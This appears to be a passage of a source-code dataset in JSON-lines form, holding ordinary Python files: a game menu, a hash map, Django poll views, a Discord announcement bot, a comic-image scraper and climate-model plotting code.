cls.connect(endpoint=cls.endpoint_assets_namespaces, symbol='')\n\n    @classmethod\n    def get_macro_namespaces(cls):\n        return cls.connect(endpoint=cls.endpoint_macro_namespaces, symbol='')\n\n    @classmethod\n    def get_no_dividends_namespaces(cls):\n        return cls.connect(endpoint=cls.endpoint_no_dividends_namespaces, symbol='')\n\n    @classmethod\n    def get_symbol_info(cls, symbol: str):\n        return cls.connect(endpoint=cls.endpoint_symbol, symbol=symbol)\n\n    @classmethod\n    def search(cls, search_string: str):\n        return cls.connect(endpoint=cls.endpoint_search, symbol=search_string)\n\n    @classmethod\n    def get_live_price(cls, symbol: str):\n        return cls.connect(endpoint=cls.endpoint_live_price, symbol=symbol)\n\n\nnamespaces = get_namespaces()\nassets_namespaces = get_assets_namespaces()\nmacro_namespaces = get_macro_namespaces()","sub_path":"okama/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":9669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"255755591","text":"from collections import namedtuple\n\nimport tcod.console\nimport tcod.event\n\nimport settings\nfrom engine import GameScene, core, colors\n\nMenuAction = namedtuple(\n    'MenuAction',\n    [\n        'key',\n        'verb',\n        'callback'\n    ]\n)\n\n\nclass ListMenuScene(GameScene):\n    def __init__(\n            self,\n            title,\n            items,\n            row_builder,\n            default_action,\n            menu_actions: dict = None,\n            id_extractor=lambda x: x.id,\n            close_after_action=False,\n            parent_scene=None\n    ):\n        super().__init__()\n        self.title = title\n        self.items = items  # a query\n        self.row_builder = row_builder  # fn:item -> list[str]\n        self.default_action = default_action\n        self.menu_actions = menu_actions if menu_actions else {}\n        self.selected_line = 0\n        self.id_extractor = id_extractor\n        self.close_after_action = close_after_action  # if True, pop the scene after taking any action\n        self.parent_scene = parent_scene\n\n    def update(self):\n        key_event = core.wait_for_char()\n        if key_event:\n            key_event = key_event.sym\n        if key_event == tcod.event.K_DOWN:\n            self.selected_line += 1\n        elif key_event == tcod.event.K_UP:\n            self.selected_line -= 1\n        elif key_event in self.menu_actions.keys():\n            self.menu_actions[key_event].callback(\n                self.id_extractor(\n                    self.items()[self.selected_line]\n                )\n            )\n            if self.close_after_action:\n                self.controller.pop_scene()\n        elif key_event is tcod.event.K_ESCAPE:\n            self.controller.pop_scene()\n        elif key_event is tcod.event.K_RETURN:\n            self.default_action.callback(\n                self.id_extractor(\n                    self.items()[self.selected_line]\n                )\n            )\n            if self.close_after_action:\n                self.controller.pop_scene()\n        self.parent_scene.update()\n\n    def render(self):\n        self.gui.root.clear()\n        window = self.gui.root\n        window.draw_rect(\n            0, 0,\n            settings.SCREEN_WIDTH,\n            settings.SCREEN_HEIGHT,\n            0,\n            fg=colors.white,\n            bg=colors.black\n        )\n        window.print(0, 0, self.title)\n        window.print(0, 1, '    '.join(\n            [f'({a.key}) {a.verb}' for a in self.menu_actions.values()]\n        ))\n        for row, item in enumerate(self.items(), 2):\n            if self.selected_line + 2 == row:\n                window.draw_rect(\n                    0, row,\n                    settings.SCREEN_WIDTH,\n                    1,\n                    0,\n                    fg=colors.black,\n                    bg=colors.white\n                )\n                self.print(window, 4, row, item, fg=colors.black, bg=colors.white)\n            else:\n                self.print(window, 4, row, item)\n\n    def print(self, window, x, y, item, fg=colors.white, bg=colors.black):\n        window.print(\n            x, y,\n            ' - '.join(self.row_builder(item)),\n            fg=fg, bg=bg\n        )\n\n    def register_action(self, key_event, char, text, callback):\n        self.menu_actions[key_event] = MenuAction(char, text, callback)\n","sub_path":"scenes/list_menu_scene.py","file_name":"list_menu_scene.py","file_ext":"py","file_size_in_byte":3313,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"275303491","text":"import numpy as np\nimport pandas as pd\nimport itertools\nimport pylab as plt\n\nimport sys\nsys.path.append('../../')\nimport int_force\n\n\ndef __get_all_a_rows(a_max_num):\n    '''\n        we cannot have dependent rows, like 1,2 and 2,4, because A will be non invertible\n        but we also dont want those duplication, because if you multiply this row at the numbers,\n        the next row will just be like the first with additional multiply in factor, like doing [1,2] and then multiply in 2\n        and also minus factor is the same. it's like mirroring the output\n    :param a_max_num: the max number that you can find at the A matrix\n    :return:\n    '''\n    print('generating a rows')\n    comb = list(range(-a_max_num, a_max_num + 1))\n    '''we dont want 0,0. we want only 0,1 not 0,-1 not 0,2 etc.'''\n    comb.remove(0)\n    comb = [comb, comb]\n    all_rows = list(itertools.product(*comb))\n    '''we removed all starting with 0, but we want 0,1. we dont want 0,2 because we already have 0,1'''\n    all_rows += [(0, 1)]\n    all_rows += [(1, 0)]\n    all_rows = pd.DataFrame(all_rows, columns=['a', 'b'])\n    '''now removing dependencies by normalizing all first numbers to 1 and removing duplicates'''\n    all_rows['normal_b'] = all_rows.b / all_rows.a\n    all_rows['abs_a'] = np.abs(all_rows.a)\n    all_rows.sort_values(by='abs_a', inplace=True)  # sorting for taking 1,2 and not 2,4\n    all_rows.drop_duplicates(subset='normal_b', keep='first', inplace=True)\n    '''now just set them as list of matrix'''\n    all_rows_in_list = [np.mat(i).reshape(1, 2) for i in all_rows[['a', 'b']].values]\n    print(\"we have %0d rows for A\" % len(all_rows))\n    return np.mat(all_rows[['a', 'b']].values)\n\n\ndef find_best_A(inputs, a_rows=None, debug=False):\n    '''\n        multiply inputs in rows, and taking the output std per row, returning the first best two lines\n    :param a_rows: matrix\n    :param inputs:\n    :param debug:\n    :return: the rows are standing, so [[0,1],[2,3]] is from rows 0,2 and 1,3\n    '''\n    if type(a_rows)==type(None):\n        '''getting all A rows'''\n        a_rows=int_force.A_mat.A_rows.all_A_rows(10)\n    a_rows=np.mat(a_rows)\n    inputs=pd.DataFrame(inputs)\n    if debug:\n        ab = pd.DataFrame(a_rows, columns='x,y'.split(','))\n        # (np.mat(inputs.values)*a_rows.T).std(0)\n        ab['sigma'] = inputs.dot(a_rows.T).std()  # if you have input of 10X2, for each a_row, you get output of 10X1\n        ab=ab.sort_values('sigma').reset_index(drop=True)\n        print(ab)\n        A=np.mat(ab.loc[[0,1],['x','y']].values)\n        inputs.set_index('X').plot(style='.', title='inputs before A')\n        plt.legend('')\n        inputs.dot(A.T).set_index(0).plot(style='.', title='after A')\n        plt.legend('')\n        plt.show()\n    # best_std=m1.dot(a_rows.T).std().sort_values().head(2)\n    best_std = inputs.dot(a_rows.T).std().nsmallest(2)\n    best_inx = best_std.index.values\n    A = a_rows[best_inx].T\n    return A\n\n\n__all_A_rows_var=None\n\n\ndef all_A_rows(a_max_num=15):\n    global __all_A_rows_var\n    if type(__all_A_rows_var)==type(None):\n        __all_A_rows_var=__get_all_a_rows(a_max_num)\n    return __all_A_rows_var\n\n\nif __name__ ==  '__main__':\n    print('hi')\n    all_A_rows()\n    all_A_rows()","sub_path":"code/results/modulo_vs_naive_2/int_force/A_mat/A_rows.py","file_name":"A_rows.py","file_ext":"py","file_size_in_byte":3232,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"466730923","text":"from selenium import webdriver\nimport time\nfrom selenium.webdriver.common.desired_capabilities import DesiredCapabilities\nimport re\nimport urllib.request\n\ndcap = dict(DesiredCapabilities.PHANTOMJS)\ndcap[\"phantomjs.page.settings.userAgent\"]=(\"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) \"\n                                           \"Chrome/50.0.2661.87 Safari/537.36\")\n#伪装浏览器，给PhantomJS加上一个header\nbrowser = webdriver.PhantomJS(desired_capabilities=dcap)\nbrowser.get(\"http://ac.qq.com/ComicView/index/id/539443/cid/1\")\n#browser.maximize_window()\na=browser.get_screenshot_as_file(\"D:\\\\Python\\\\练习\\\\iofile\\\\test.jpg\")\n#截屏,可以发现这样只能截取前三页。我们需要往下滑，然后才能得到想要数据\nfor i in range(10):\n#这里循环就是滑动多少次的意思\n    #browser.execute_script('window.scrollTo(0,document.body.scrollHeight)')\n    js='window.scrollTo('+str(i*1280)+','+str((i+1)*1280)+')'\n    #按照分辨率计算，分别往下滑动多少像素\n    browser.execute_script(js)\n    time.sleep(1)\nprint(browser.current_url)\ndata=browser.page_source\nfh=open(\"D:\\\\Python\\\\练习\\\\iofile\\\\dongman.html\",\"w\",encoding=\"utf-8\")\nfh.write(data)\nfh.close()\nbrowser.quit()\n\npat='<img src=\"(http://ac.tc.qq.com/store_file_download.buid=.*?name=.*?).jpg\"'\nallid=re.compile(pat).findall(data)\n\nprint(allid)\n\nfor i in range(0,len(allid)):\n    thisurl=allid[i]\n    thisurl2=thisurl.replace(\"amp;\",\"\")+\".jpg\"\n    localpath=\"D:\\\\Python\\\\练习\\\\iofile\\\\\"+str(i)+\".jpg\"\n    urllib.request.urlretrieve(thisurl,filename=localpath)","sub_path":"oldFiles/dongman.py","file_name":"dongman.py","file_ext":"py","file_size_in_byte":1600,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"117853641","text":"import math\nimport random\nfrom .linked_list import LinkedList\n\nclass Box(object):\n    \"what's in the box!!!!!!!!!\"\n\n    def __init__(self, key, value):\n        self.key = key \n        self.value = value \n\nclass BoxChain(object):\n    \"auxiliary class used within HashMap to manage collision resolution more elegantly\"\n\n    def __init__(self):\n        # using my own homebrew LinkedList as some proof that the class works\n        self.boxes = LinkedList()\n\n    def __len__(self):\n        return len(self.boxes)\n\n    def __contains__(self, key):\n        return key in self.keys\n\n    def get(self, key):\n        for box in self.boxes:\n            if key == box.key:\n                return box.value \n        return None\n\n    def put(self, key, value):\n        new_key = None\n        if key not in self.keys:\n            new_key = True\n            self.boxes.append(Box(key, value))\n        else:\n            new_key = False\n            for box in self.boxes:\n                if key == box.key:\n                    box.value = value\n                    break\n\n        return new_key\n\n    def remove(self, key):\n        removed_key = False\n        for i, box in enumerate(self.boxes):\n            if key == box.key:\n                removed_key = True\n                del self.boxes[i]\n                break\n\n        return removed_key\n\n    @property \n    def keys(self):\n        return [box.key for box in self.boxes]\n        \n    @property \n    def values(self):\n        return [box.value for box in self.boxes]\n\n    @property\n    def items(self):\n        return [(box.key, box.value) for box in self.boxes]\n\n\nclass HashMap(object):\n    \"\"\"\n    a dictionary type from scratch (within reason anyway)\n    this implementation uses the multiplication method for hashing\n    with the hash method value for A randomly seeded to implement Universal Hashing\n    and the chaining method for collission resolution\n\n    TODO: \n        - performance improvement to store keys explicitly in a separate data structure\n          rather than generating the list of keys dynamically everytime keys() is called\n    \"\"\"\n\n    # note: yes its possible for a user defined class to be immutable and suitable as a hashable key\n    # this is just the most straightforward approach to this for now\n    # TODO: figure out how to test user defined classes for immutability\n    IMMUTABLE_TYPES = (\n        int,\n        long,\n        float,\n        bool,\n        str,\n        unicode,\n        tuple,\n    )\n\n    def __init__(self):\n        self._m = 2048 # multiplication method hashing suggests that m should be a power of 2\n        self._A = random.uniform(0.0001, 0.9999)\n        self._data = [] \n        for _ in range(self._m):\n            self._data.append(BoxChain())\n\n        self._size = 0\n\n    def __len__(self):\n        return self._size\n\n    def __getitem__(self, key):\n        index = self._hash(key)\n        boxchain = self._data[index]\n        value = boxchain.get(key)\n        if value is None:\n            raise KeyError('%s not found in HashMap' % key)\n        return value\n\n    def __setitem__(self, key, value):\n        index = self._hash(key)\n        boxchain = self._data[index]\n        new_key = boxchain.put(key, value)\n        if new_key:\n            self._size += 1\n\n    def __delitem__(self, key):\n        index = self._hash(key)\n        boxchain = self._data[index]\n        removed_key = boxchain.remove(key)\n        if removed_key:\n            self._size -= 1\n        else:\n            raise KeyError('%s not found in HashMap' % key)\n\n    def __iter__(self):\n        return self.keys()\n\n    def __contains__(self, item):\n        return item in self.keys()\n\n    def __eq__(self, other):\n        if not isinstance(other, HashMap):\n            return False \n\n        for key, val in self.items():\n            if key not in other:\n                return False\n            if other[key] != val:\n                return False\n\n        return True\n\n    def _hash(self, key):\n        # multiplication method with random seeding i.e. Universal Hashing to avoid perverse input cases\n\n        if not type(key) in HashMap.IMMUTABLE_TYPES:\n            raise TypeError('%s is not an immutable type and cannot be used as a HashMap key' % key)\n\n        k = id(key)\n        h = math.floor(\n            self._m * (k*self._A - math.floor(k*self._A))\n        )\n        return int(h)\n\n    def keys(self):\n        keys = []\n        for boxchain in self._data:\n            keys.extend(boxchain.keys)\n\n        return keys\n\n    def values(self):\n        values = []\n        for boxchain in self._data:\n            values.extend(boxchain.values)\n\n        return values\n\n    def items(self):\n        return zip(self.keys(), self.values())\n\n    def has_key(self, key):\n        return key in self\n\n    def get(self, key, default=None):\n        if key in self:\n            return self[key]\n        else:\n            return default\n\n    def clear(self):\n        self._data = LinkedList()\n        self._size = 0\n\n    def setdefault(self, key, default=None):\n        \"If key is in the dictionary, return its value. If not, insert key with a value of default and return default. default defaults to None.\"\n        if key in self:\n            return self[key]\n        else:\n            self[key] = default\n            return default\n\n    def copy(self):\n        copy = HashMap()\n        for key, val in self.items():\n            copy[key] = val \n\n        return copy\n\n    def update(self, updates):\n        for key, val in updates.items():\n            self[key] = val\n","sub_path":"hash_map.py","file_name":"hash_map.py","file_ext":"py","file_size_in_byte":5525,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"531639045","text":"'''\nCreated on Oct 25, 2012\n\n@author: mikael\n'''\nimport subprocess\nimport os\nimport switches\nimport time\nimport logging\n\n\nclass coolerSwitch(switches.simSwitch):\n    '''\n    Simulated switch. Does not do a lot of things except fullfills the\n    required methods of a switch object.\n    '''\n\n    def __init__(self):\n        '''\n        Constructor\n        '''\n        self.simulation = False\n        self.errorStatus = False\n        scriptdir = os.path.dirname(os.path.abspath(__file__))\n        self.exe = scriptdir + '/../../coolerUSB/coolerUSB'\n        logging.debug(self.exe)\n        self.coolerOn = self.exe + ' 1'\n        self.coolerOff = self.exe + ' 0'\n        try:\n            returnCode = subprocess.call(self.exe)\n            if returnCode != 0:\n                self.simulation = True\n        except:  # pragma: no cover\n            self.simulation = True\n\n        if self.simulation:\n            logging.info(\"**********Cooler switch not found, simulating HW\")\n        else:  # pragma: no cover\n            logging.info(\"**********Cooler switch found, \")\n\n    def on(self):\n        try:\n            if self.simulation:\n                returnCode = 0\n            else:\n                returnCode = subprocess.call([self.exe, \"1\"])\n        except:\n            returnCode = 1\n        if returnCode != 0:\n            self.forceError()\n        else:\n            self.clearError()\n\n    def off(self):\n        try:\n            if self.simulation:\n                returnCode = 0\n            else:\n                returnCode = subprocess.call([self.exe, \"0\"])\n        except:\n            returnCode = 1\n        if returnCode != 0:\n            self.forceError()\n        else:\n            self.clearError()\n\n    def HWOK(self):\n        try:\n            returnCode = subprocess.call(self.exe)\n            return(returnCode == 0)\n        except:\n            return(False)\n\n    def hasError(self):\n        return(self.errorStatus)\n\n    def clearError(self):\n        self.errorStatus = False\n\n    def forceError(self):\n        self.errorStatus = True\n\nif __name__ == '__main__':  # pragma: no cover\n    testSW = coolerSwitch()\n    time.sleep(2)\n    testSW.on()\n    time.sleep(2)\n    testSW.off()\n    hwok = testSW.HWOK()\n    if hwok:\n        logging.info(\"Hardware switch found with HWOK method\")\n    else:\n        logging.info(\"Hardware switch not found with HWOK method\")\n","sub_path":"src/switches/coolerSwitch.py","file_name":"coolerSwitch.py","file_ext":"py","file_size_in_byte":2370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"506685053","text":"from django.shortcuts import render , get_object_or_404 , redirect\nfrom .models import Choice , Poll , UserVotes\nfrom django.views.decorators.http import require_POST\nfrom django.contrib.auth.decorators import login_required\nfrom .forms import PollCreateForm , ChoiceForm , ChoiceFormset\n\n\n\n\n@login_required\n@require_POST\ndef choice(request , choice_id , choice_slug):\n\n\tchoice = get_object_or_404(Choice , id=choice_id , slug=choice_slug)\n\tpoll = choice.poll\n\tsame_ip = False\n\tself_vote = None\n\tsame_votes = None\n\n\ttry:\n\n\t\tsame_votes = UserVotes.objects.filter(poll=poll).exclude(user__id=request.user.id)\n\t\tself_vote = UserVotes.objects.get(user__id=request.user.id,\n\t\t\t\t\t\t\t\t\t\t  poll=poll)\n\n\texcept:\n\n\t\tpass\n\n\n\tif same_votes:\n\n\t\tfor vote in same_votes:\n\n\t\t\tif vote.user_ip == request.META['REMOTE_ADDR']:\n\n\t\t\t\tsame_ip = True\n\n\n\n\n\tif same_ip == False:\n\n\t\tif self_vote == None or self_vote.total < poll.vote_limit:\n\n\t\t\ttry:\n\t\t\t\tuser_vote = UserVotes.objects.get(user__id=request.user.id,\n\t\t\t\t\t\t\t\t\t\t\t  \t  poll=poll)\n\t\t\t\tuser_vote.total += 1\n\t\t\t\tuser_vote.user_ip = request.META['REMOTE_ADDR']\n\t\t\t\tuser_vote.save()\n\n\t\t\texcept UserVotes.DoesNotExist:\n\n\t\t\t\tUserVotes.objects.create(user=request.user,\n\t\t\t\t\t\t\t\t\t \tpoll=poll,\n\t\t\t\t\t\t\t\t\t \tuser_ip=request.META['REMOTE_ADDR'],\n\t\t\t\t\t\t\t\t\t \ttotal=1)\n\n\n\n\t\t\tchoice.users.add(request.user)\n\t\t\tchoice.poll.users.add(request.user)\n\n\n\treturn redirect(choice.poll.get_absolute_url())\n\n\n\n\n@login_required\ndef poll(request , poll_id , poll_slug):\n\n\tpoll = get_object_or_404(Poll , id=poll_id , slug=poll_slug)\n\tchoices = Choice.objects.filter(poll=poll)\n\tuser_vote = None\n\n\ttry:\n\t\tuser_vote = UserVotes.objects.get(user__id=request.user.id,\n\t\t\t\t\t\t\t\t\t\t  poll=poll)\n\texcept:\n\t\tpass\n\n\treturn render(request , 'poll.html' , {'poll':poll , \n\t\t\t\t\t\t\t\t\t\t   'choices': choices,\n\t\t\t\t\t\t\t\t\t\t   'user_vote':user_vote})\n\n\n\n\n@require_POST\n@login_required\ndef unvote(request , choice_id , choice_slug):\n\n\tchoice = get_object_or_404(Choice , id=choice_id , slug=choice_slug)\n\tchoice.users.remove(request.user)\n\tchoices = choice.poll.choices.exclude(id=choice.id , slug=choice.slug)\n\temptyChoices = 0\n\n\tfor choice in choices:\n\t\tif not request.user in choice.users.all():\n\t\t\temptyChoices += 1\n\n\tif emptyChoices == choices.count():\n\n\t\tchoice.poll.users.remove(request.user)\n\n\ttry:\n\t\tuser_vote = UserVotes.objects.get(user__id=request.user.id,\n\t\t\t\t\t\t  \t  \t\t\t  poll=choice.poll,\n\t\t\t\t\t\t  \t  \t\t\t  total__gt=1)\n\t\t\n\t\tuser_vote.total -= 1\n\t\tuser_vote.save()\n\n\texcept:\n\t\t\n\t\tuser_vote = UserVotes.objects.get(user__id=request.user.id,\n\t\t\t\t\t\t\t\t\t\t  poll=choice.poll,\n\t\t\t\t\t\t\t\t\t\t  total=1)\n\t\tuser_vote.total -= 1\n\t\tuser_vote.user_ip = None\n\t\tuser_vote.save()\n\n\treturn redirect(choice.poll.get_absolute_url())\n\n\n\n\n\n@login_required\ndef create_poll(request):\n\n\tif request.method == 'POST':\n\n\t\tpoll_form = PollCreateForm(files=request.FILES,\n\t\t\t\t\t\t\t  \t   data=request.POST)\n\n\t\tformset = ChoiceFormset(data=request.POST)\n\n\t\t\n\n\t\tif poll_form.is_valid() and formset.is_valid():\n\n\t\t\tnew_poll = poll_form.save(commit=False)\n\t\t\tnew_poll.owner = request.user\n\t\t\tnew_poll.save()\n\n\t\t\tfor form in formset:\n\n\t\t\t\tif form.cleaned_data != {}:\n\t\t\t\t\tnew_choice = form.save(commit=False)\n\t\t\t\t\tnew_choice.poll = new_poll\n\t\t\t\t\tnew_choice.save()\n\n\t\t\treturn redirect('home')\n\n\telse:\n\n\t\tpoll_form = PollCreateForm()\n\t\tformset = ChoiceFormset()\n\n\tsection = 'create'\n\n\treturn render(request , 'poll_form.html' , {'poll_form':poll_form,\n\t\t\t\t\t\t\t\t\t\t\t\t'formset':formset,\n\t\t\t\t\t\t\t\t\t\t\t\t'section':section})\n\n\n\n\n#ip = request.META['REMOTE_ADDR']\n\n\t\n","sub_path":"polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"291423821","text":"# Managing the announcement command\n\n# Local modules\nfrom utils import \\\n    get_config, \\\n    get_time_delta_days, \\\n    html_to_raw\nfrom database.interactions import \\\n    get_all_courses_data, \\\n    get_all_announcements_data, \\\n    sql_query_commit\nfrom database.queries import \\\n    query_update_announcement_sent \nfrom log_handler import \\\n    logger\n\n# Third party modules\nimport discord\n\ndef get_subscribed_courses_data():\n    \n    courses_data = get_all_courses_data()\n\n    subscribed_courses_data = []\n    \n    for course in courses_data:\n\n        # Check if subscribed and channel is set\n        if(course.get('subscribed_to') == '1') and (course.get('channel_id') != '1'):\n\n            subscribed_courses_data.append(course)\n\n    return subscribed_courses_data\n\n\ndef get_unsent_announcements_data():\n    \n    announcement_data = get_all_announcements_data()\n\n    unsent_announcements_data = []\n\n    for announcement in announcement_data:\n        \n        time_elapsed = get_time_delta_days(announcement.get('posted_at'))\n\n        announcement_date_cut_off_time = int(get_config('announcement_date_cut_off_time'))\n\n        # Check if not sent and if channel is set\n        if(announcement.get('sent_discord') == '0') and (time_elapsed <= announcement_date_cut_off_time):\n\n            unsent_announcements_data.append(announcement)\n\n    return unsent_announcements_data\n\n\ndef join_courses_with_announcement_data(subscribed_courses_data, unsent_announcements_data):\n    \n    new_unsent_announcements_data = []\n\n    for course_data in subscribed_courses_data:\n        for announcement_data in unsent_announcements_data:\n            context_code = announcement_data.get('context_code')\n\n            # Checks that the join is done at the correct place\n            if(context_code.strip('course_')) == (course_data.get('id')):\n                \n                # Add all needed data to dictionary from courses\n                announcement_data['channel_id'] = course_data.get('channel_id')\n                announcement_data['course_id'] = course_data.get('id')\n                announcement_data['course_name'] = course_data.get('name')\n                announcement_data['course_code'] = course_data.get('course_code')\n\n                new_unsent_announcements_data.append(announcement_data)\n    \n    return new_unsent_announcements_data\n\n\ndef get_announcement_channel(client, announcement_data):\n\n    channel = client.get_channel(int(announcement_data.get('channel_id')))\n\n    return channel\n\n\ndef mark_announcement_as_sent(id):\n\n    sql_query_commit(query_update_announcement_sent(id))\n    \n    logger.info(f'Announcement with {id} marked as sent.')\n\n\ndef shorten_announcement(announcement):\n    \n    short_announcement = announcement[0:1000] + \"...\"\n    return short_announcement\n\n\n# Creates the embed for announcements in discord\ndef create_announcement_embed(announcement_data):\n\n    # Announcement information\n    title = announcement_data.get('title')\n    message = announcement_data.get('message')\n    author = announcement_data.get('author')\n    posted_at = announcement_data.get('posted_at').replace('T', ' at ')\n    posted_at_formatted = posted_at.replace('Z', '')\n\n    # Parse the text that is recieved in html\n    # Shorten it so it fits in to the Discord embed\n    message_raw = html_to_raw(message)\n    message_content = shorten_announcement(message_raw)\n\n    # Course information\n    course_name = announcement_data.get('name')\n    course_code = announcement_data.get('course_code')\n    course_id = announcement_data.get('course_id')\n\n    # Embed layout\n    embed = discord.Embed(title='New Announcement 📢', \n                        description=f'Course: {course_id}\\n{course_name} | {course_code} \\n', \n                        colour=0xFEFDFD)\n\n    embed.set_author(name='CanvasBot', \n                    icon_url='https://github.com/Grupp-17/canvas-discord-bot/blob/main/images/canvasboticon.png?raw=true')\n\n    embed.add_field(name=title, value=message_content + '\\n\\n\\n ', inline=False)\n    embed.set_footer(text='Posted ' + posted_at_formatted + f'\\nby {author}')\n\n    return embed\n\n","sub_path":"discord_cmds/announcement.py","file_name":"announcement.py","file_ext":"py","file_size_in_byte":4110,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"286050282","text":"\"\"\"\r\nCreated on Wednesday August 2 2017\r\n\r\n@author: s0899345\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport iris\r\nimport iris.coord_categorisation as iriscc\r\nimport iris.plot as iplt\r\nimport iris.quickplot as qplt\r\nimport iris.analysis.cartography\r\nimport numpy as np\r\nimport cf_units\r\nimport datetime\r\nfrom scipy import stats \r\n\r\n#this file is split into parts as follows:\r\n    #PART 1: load and format all models \r\n    #PART 2: load and format observed data\r\n    #PART 3: format files to be plot specific\r\n    #PART 4: plot data\r\n    \r\ndef main():\r\n    #-------------------------------------------------------------------------\r\n    #PART 1: LOAD and FORMAT ALL MODELS   \r\n    #bring in all the ERAINT models we need and give them a name\r\n    CCCma = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/ERAINT/1979-2012/pr_AFR-44_ECMWF-ERAINT_evaluation_r1i1p1_CCCma-CanRCM4_r2_mon_198901-200912.nc'\r\n    CLMcom = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/ERAINT/1979-2012/pr_AFR-44_ECMWF-ERAINT_evaluation_r1i1p1_CLMcom-CCLM4-8-17_v1_mon_198901-200812.nc'\r\n    DMI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/ERAINT/1979-2012/pr_AFR-44_ECMWF-ERAINT_evaluation_r1i1p1_DMI-HIRHAM5_v2_mon_198901-201012.nc'\r\n    KNMI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/ERAINT/1979-2012/pr_AFR-44_ECMWF-ERAINT_evaluation_r1i1p1_KNMI-RACMO22T_v1_mon_197901-201212.nc'\r\n    MPIE = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/ERAINT/1979-2012/pr_AFR-44_ECMWF-ERAINT_evaluation_r1i1p1_MPI-CSC-REMO2009_v1_mon_198902-200812.nc'\r\n    SMHI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/ERAINT/1979-2012/pr_AFR-44_ECMWF-ERAINT_evaluation_r1i1p1_SMHI-RCA4_v1_mon_198001-201012.nc'\r\n    \r\n    #bring in all the CORDEX RCM models we need and give them a name\r\n    CCCmaCanRCM= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_CCCma-CanESM2_historical_r1i1p1_CCCma-CanRCM4_r2_mon_195101-200512.nc'\r\n    CCCmaSMHI= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_CCCma-CanESM2_historical_r1i1p1_SMHI-RCA4_v1_mon_195101-200512.nc'\r\n    CNRM= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_CNRM-CERFACS-CNRM-CM5_historical_r1i1p1_CLMcom-CCLM4-8-17_v1_mon_195001-200512.nc'\r\n    CNRMSMHI= '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_CNRM-CERFACS-CNRM-CM5_historical_r1i1p1_SMHI-RCA4_v1_mon_195101-200512.nc'\r\n    CSIRO = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_CSIRO-QCCCE-CSIRO-Mk3-6-0_historical_r1i1p1_SMHI-RCA4_v1_mon_195101-200512.nc'\r\n    ICHECDMI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_ICHEC-EC-EARTH_historical_r3i1p1_DMI-HIRHAM5_v2_mon_195101-200512.nc'   \r\n    ICHECCCLM = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_ICHEC-EC-EARTH_historical_r12i1p1_CLMcom-CCLM4-8-17_v1_mon_194912-200512.nc'    \r\n    ICHECKNMI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_ICHEC-EC-EARTH_historical_r12i1p1_KNMI-RACMO22T_v1_mon_195001-200512.nc'\r\n    ICHECMPI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_ICHEC-EC-EARTH_historical_r12i1p1_MPI-CSC-REMO2009_v1_mon_195001-200512.nc'\r\n    ICHECSMHI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_ICHEC-EC-EARTH_historical_r12i1p1_SMHI-RCA4_v1_mon_195101-200512.nc'\r\n    IPSL = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_IPSL-IPSL-CM5A-MR_historical_r1i1p1_SMHI-RCA4_v1_mon_195101-200512.nc'\r\n    MIROC =  '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_MIROC-MIROC5_historical_r1i1p1_SMHI-RCA4_v1_mon_195101-200512.nc' \r\n    MOHCCCLM = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_MOHC-HadGEM2-ES_historical_r1i1p1_CLMcom-CCLM4-8-17_v1_mon_194912-200512.nc' \r\n    MOHCKNMI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_MOHC-HadGEM2-ES_historical_r1i1p1_KNMI-RACMO22T_v2_mon_195001-200512.nc'\r\n    MOHCSMHI = '/exports/csce/datastore/geos/users/s0899345/Climate_Modelling/AFR_44_pr/Historical/1950-2005/pr_AFR-44_MOHC-HadGEM2-ES_historical_r1i1p1_SMHI-RCA4_v1_mon_195101-200512.nc'\r\n    MPICCLM = 